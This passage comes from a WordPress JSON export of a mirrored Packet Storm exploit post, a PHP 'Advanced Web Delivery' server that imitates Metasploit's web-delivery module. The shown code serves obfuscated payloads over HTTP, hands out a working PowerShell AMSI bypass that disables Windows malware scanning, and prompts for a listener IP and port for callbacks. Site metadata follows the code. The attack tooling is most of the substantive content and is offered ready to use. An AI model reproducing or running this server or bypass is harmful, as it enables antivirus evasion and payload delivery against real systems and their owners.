$sessions[$sessionKey][&#8216;requests&#8217;]++;\\n                $sessions[$sessionKey][&#8216;paths&#8217;][] = $path;\\n            }\\n            \\n            $sessionId = $sessions[$sessionKey][&#8216;id&#8217;];\\n            \\n            echo sprintf(\\n                \\&#8221;[%s] %s &#8211; %s &#8211; %s\\\\n\\&#8221;,\\n                date(&#8216;H:i:s&#8217;),\\n                $ip,\\n                $path,\\n                $userAgent\\n            );\\n            \\n            if (strpos($path, &#8216;\/payload\/&#8217;) === 0) {\\n                return $this-\\u003ehandlePayloadRequest($path, $sessionId);\\n            } elseif (strpos($path, &#8216;\/bypass&#8217;) !== false) {\\n                return $this-\\u003ehandleAmsiBypass();\\n            } elseif (strpos($path, &#8216;\/stats&#8217;) !== false) {\\n                return $this-\\u003ehandleStatsRequest();\\n            } elseif ($path === &#8216;\/&#8217;) {\\n                return $this-\\u003ehandleIndex();\\n            } else {\\n                return $this-\\u003ehandle404();\\n            }\\n        }\\n    \\n        private function handlePayloadRequest($path, $sessionId)\\n        {\\n            $parts = explode(&#8216;\/&#8217;, $path);\\n            $payloadType = $parts[2] ?? strtolower($this-\\u003econfig[&#8216;target&#8217;]);\\n            \\n            if (isset($this-\\u003epayloads[$payloadType])) {\\n                $payload = $this-\\u003epayloads[$payloadType];\\n                \\n                if ($this-\\u003econfig[&#8216;obfuscation&#8217;]) {\\n                    $payload = AdvancedObfuscator::obfuscate($payload, &#8216;multiple&#8217;, 2);\\n                }\\n                \\n                echo \\&#8221;[+] Delivering {$payloadType} payload to session: {$sessionId}\\\\n\\&#8221;;\\n                \\n                return $this-\\u003ecreateResponse(200, $payload, &#8216;text\/plain&#8217;, [\\n                    &#8216;X-Payload-Type&#8217; =\\u003e $payloadType,\\n                    &#8216;X-Session-ID&#8217; =\\u003e $sessionId\\n                ]);\\n            }\\n            \\n            return $this-\\u003ecreateResponse(404, &#8216;Payload not found&#8217;);\\n        }\\n    \\n        private function handleAmsiBypass()\\n        {\\n            $bypass = &#8216;\\n            # Advanced AMSI Bypass\\n            $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like \\&#8221;*iUtils\\&#8221;) {$c=$b}};\\n            $d=$c.GetFields(\\&#8221;NonPublic,Static\\&#8221;);Foreach($e in $d) {if ($e.Name -like \\&#8221;*Context\\&#8221;) {$f=$e}};\\n            $g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);\\n            [System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1);\\n            &#8216;;\\n            \\n            return $this-\\u003ecreateResponse(200, $bypass, &#8216;text\/plain&#8217;);\\n        }\\n    \\n        private function handleStatsRequest()\\n        {\\n            $stats = $this-\\u003eserver-\\u003egetStats();\\n            $html = \\&#8221;\\u003ch1\\u003eServer Statistics\\u003c\/h1\\u003e\\u003cpre\\u003e\\&#8221; . print_r($stats, true) . \\&#8221;\\u003c\/pre\\u003e\\&#8221;;\\n            return $this-\\u003ecreateResponse(200, $html, &#8216;text\/html&#8217;);\\n        }\\n    \\n        private function handleIndex()\\n        {\\n            $html = \\&#8221;\\n            \\u003c!DOCTYPE html\\u003e\\n            \\u003chtml\\u003e\\n            \\u003chead\\u003e\\n                \\u003ctitle\\u003eScript Delivery\\u003c\/title\\u003e\\n                \\u003cstyle\\u003e\\n                    body { font-family: Arial, sans-serif; margin: 40px; }\\n                    .container { max-width: 800px; margin: auto; }\\n                    .box { border: 1px solid #ccc; padding: 20px; margin: 10px 0; }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003cdiv class=&#8217;container&#8217;\\u003e\\n                    \\u003ch1\\u003eScript Web Delivery System\\u003c\/h1\\u003e\\n                    \\u003cp\\u003eThis is a legitimate web server for authorized testing purposes.\\u003c\/p\\u003e\\n                    \\u003cdiv class=&#8217;box&#8217;\\u003e\\n                        \\u003ch3\\u003eAvailable Payloads:\\u003c\/h3\\u003e\\n                        \\u003cul\\u003e\\n            \\&#8221;;\\n            \\n            foreach (array_keys($this-\\u003epayloads) as $type) {\\n                $html .= \\&#8221;\\u003cli\\u003e\\u003ca href=&#8217;\/payload\/{$type}&#8217;\\u003eDownload {$type} payload\\u003c\/a\\u003e\\u003c\/li\\u003e\\&#8221;;\\n            }\\n            \\n            $html .= \\&#8221;\\n                        \\u003c\/ul\\u003e\\n                    \\u003c\/div\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/body\\u003e\\n            \\u003c\/html\\u003e\\n            \\&#8221;;\\n            \\n            return $this-\\u003ecreateResponse(200, $html, &#8216;text\/html&#8217;);\\n        }\\n    \\n        private function handle404()\\n        {\\n            return $this-\\u003ecreateResponse(404, &#8216;Not Found&#8217;);\\n        }\\n    \\n        private function createResponse($status, $content, $contentType = &#8216;text\/html&#8217;, $customHeaders = [])\\n        {\\n            $statusText = [\\n                200 =\\u003e &#8216;OK&#8217;,\\n                404 =\\u003e &#8216;Not Found&#8217;,\\n                429 =\\u003e &#8216;Too Many Requests&#8217;\\n            ][$status] ?? &#8216;OK&#8217;;\\n            \\n            $response = \\&#8221;HTTP\/1.1 {$status} {$statusText}\\\\r\\\\n\\&#8221;;\\n            $response .= \\&#8221;Content-Type: {$contentType}\\\\r\\\\n\\&#8221;;\\n            $response .= \\&#8221;Content-Length: \\&#8221; . strlen($content) . \\&#8221;\\\\r\\\\n\\&#8221;;\\n            $response .= \\&#8221;Connection: close\\\\r\\\\n\\&#8221;;\\n            \\n            foreach ($customHeaders as $key =\\u003e $value) {\\n                $response .= \\&#8221;{$key}: {$value}\\\\r\\\\n\\&#8221;;\\n            }\\n            \\n            $response .= \\&#8221;\\\\r\\\\n\\&#8221; . $content;\\n            \\n            return $response;\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Enhanced CLI Interface\\n    \/\/ ========================\\n    class EnhancedCliInterface\\n    {\\n        public static function run()\\n        {\\n            self::showWelcome();\\n            \\n            $config = [\\n                &#8216;target&#8217; =\\u003e self::promptSelect(\\n                    \\&#8221;Select target language:\\&#8221;,\\n                    [&#8216;PSH&#8217;, &#8216;PHP&#8217;, &#8216;Python&#8217;, &#8216;Bash&#8217;],\\n                    &#8216;PSH&#8217;\\n                ),\\n                &#8216;lhost&#8217; =\\u003e self::prompt(\\&#8221;Listener IP:\\&#8221;, \\&#8221;127.0.0.1\\&#8221;),\\n                &#8216;lport&#8217; =\\u003e self::prompt(\\&#8221;Listener port:\\&#8221;, \\&#8221;4444\\&#8221;),\\n                &#8216;server_host&#8217; =\\u003e self::prompt(\\&#8221;Server bind IP:\\&#8221;, \\&#8221;0.0.0.0\\&#8221;),\\n                &#8216;server_port&#8217; =\\u003e self::prompt(\\&#8221;Server port:\\&#8221;, \\&#8221;8080\\&#8221;),\\n                &#8216;obfuscation&#8217; =\\u003e self::promptYesNo(\\&#8221;Enable obfuscation?\\&#8221;, true),\\n                &#8216;stealth_mode&#8217; =\\u003e self::promptYesNo(\\&#8221;Enable stealth mode?\\&#8221;, false)\\n            ];\\n            \\n            echo \\&#8221;\\\\n[+] Configuration complete. Starting server&#8230;\\\\n\\&#8221;;\\n            \\n            $webDelivery = new AdvancedWebDelivery($config);\\n            $webDelivery-\\u003erun();\\n        }\\n        \\n        private static function showWelcome()\\n        {\\n            echo \\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                     ADVANCED WEB DELIVERY SYSTEM SETUP                       \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    \\\\n\\&#8221;;\\n        }\\n        \\n        private static function prompt($message, $default = \\&#8221;\\&#8221;)\\n        {\\n            echo \\&#8221;[?] {$message} \\&#8221;;\\n            if ($default) echo \\&#8221;[{$default}] \\&#8221;;\\n            \\n            $input = trim(fgets(STDIN));\\n            return $input ?: $default;\\n        }\\n        \\n        private static function promptSelect($message, $options, $default)\\n        {\\n            echo \\&#8221;[?] {$message}\\\\n\\&#8221;;\\n            foreach ($options as $i =\\u003e $option) {\\n                $index = $i + 1;\\n                echo \\&#8221;    {$index}. {$option}\\&#8221; . ($option === $default ? \\&#8221; (default)\\&#8221; : \\&#8221;\\&#8221;) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n            \\n            $input = self::prompt(\\&#8221;Choice [1-\\&#8221; . count($options) . \\&#8221;]:\\&#8221;, array_search($default, $options) + 1);\\n            $index = intval($input) &#8211; 1;\\n            \\n            return isset($options[$index]) ? $options[$index] : $default;\\n        }\\n        \\n        private static function promptYesNo($message, $default)\\n        {\\n            $defaultText = $default ? &#8216;Y\/n&#8217; : &#8216;y\/N&#8217;;\\n            $input = self::prompt(\\&#8221;{$message} [{$defaultText}]:\\&#8221;, $default ? &#8216;Y&#8217; : &#8216;N&#8217;);\\n            \\n            return strtolower($input) === &#8216;y&#8217; || ($default \\u0026\\u0026 strtolower($input) !== &#8216;n&#8217;);\\n        }\\n    }\\n    \\n    \/\/ ========================\\n    \/\/ Main Execution\\n    \/\/ ========================\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        global $argv, $argc;\\n        \\n        if ($argc \\u003e 1) {\\n            $options = [];\\n            for ($i = 1; $i \\u003c $argc; $i++) {\\n                if (strpos($argv[$i], &#8216;=&#8217;) !== false) {\\n                    list($key, $value) = explode(&#8216;=&#8217;, $argv[$i], 2);\\n                    $options[$key] = $value;\\n                }\\n            }\\n            \\n            $server = new AdvancedWebDelivery($options);\\n            $server-\\u003erun();\\n        } else {\\n            EnhancedCliInterface::run();\\n        }\\n    } elseif (php_sapi_name() === &#8216;cli-server&#8217;) {\\n        $server = new AdvancedWebDelivery($config[&#8216;defaults&#8217;]);\\n        \\n        $path = parse_url($_SERVER[&#8216;REQUEST_URI&#8217;], PHP_URL_PATH);\\n        $clientInfo = [\\n            &#8216;ip&#8217; =\\u003e $_SERVER[&#8216;REMOTE_ADDR&#8217;] ?? &#8216;0.0.0.0&#8217;,\\n            &#8216;path&#8217; =\\u003e $path,\\n            &#8216;method&#8217; =\\u003e $_SERVER[&#8216;REQUEST_METHOD&#8217;],\\n            &#8216;headers&#8217; =\\u003e getallheaders(),\\n            &#8216;user_agent&#8217; =\\u003e $_SERVER[&#8216;HTTP_USER_AGENT&#8217;] ?? &#8216;Unknown&#8217;\\n        ];\\n        \\n        $response = $server-\\u003ehandleRequest(&#8221;, $clientInfo);\\n        \\n        $lines = explode(\\&#8221;\\\\r\\\\n\\&#8221;, $response);\\n        $statusLine = array_shift($lines);\\n        \\n        foreach ($lines as $line) {\\n            if ($line === &#8221;) break;\\n            header($line);\\n        }\\n        \\n        $body = substr($response, strpos($response, \\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;) + 4);\\n        echo $body;\\n    } else {\\n        echo \\&#8221;\\u003ch1\\u003eAdvanced Script Web Delivery System\\u003c\/h1\\u003e\\&#8221;;\\n        echo \\&#8221;\\u003cp\\u003eThis system must be run from the command line.\\u003c\/p\\u003e\\&#8221;;\\n        echo \\&#8221;\\u003cpre\\u003eUsage: php \\&#8221; . basename(__FILE__) . \\&#8221; [options]\\u003c\/pre\\u003e\\&#8221;;\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214116&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214116\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-21T15:44:10&#8243;,&#8221;description&#8221;:&#8221;This project presents an advanced proof of concept that emulates the behavior of Metasploit&#8217;s multi\/script\/webdelivery module using PHP. The goal is to demonstrate how script-based&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-36700","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=36700\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-21T15:44:10&#8243;,&#8221;description&#8221;:&#8221;This project presents an advanced proof of concept that emulates the behavior of Metasploit&#8217;s multi\/script\/webdelivery module using PHP. The goal is to demonstrate how script-based...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=36700\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-21T10:42:26+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116\",\"datePublished\":\"2026-01-21T10:42:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700\"},\"wordCount\":4047,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36700#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700\",\"name\":\"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-21T10:42:26+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36700\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36700#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=36700","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-21T15:44:10&#8243;,&#8221;description&#8221;:&#8221;This project presents an advanced proof of concept that emulates the behavior of Metasploit&#8217;s multi\/script\/webdelivery module using PHP. The goal is to demonstrate how script-based...","og_url":"https:\/\/zero.redgem.net\/?p=36700","og_site_name":"zero redgem","article_published_time":"2026-01-21T10:42:26+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"21 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=36700#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=36700"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116","datePublished":"2026-01-21T10:42:26+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=36700"},"wordCount":4047,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=36700#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=36700","url":"https:\/\/zero.redgem.net\/?p=36700","name":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-21T10:42:26+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=36700#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=36700"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=36700#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Metasploit Web Delivery PHP Proof of Concept_PACKETSTORM:214116"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36700","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36700"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36700\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}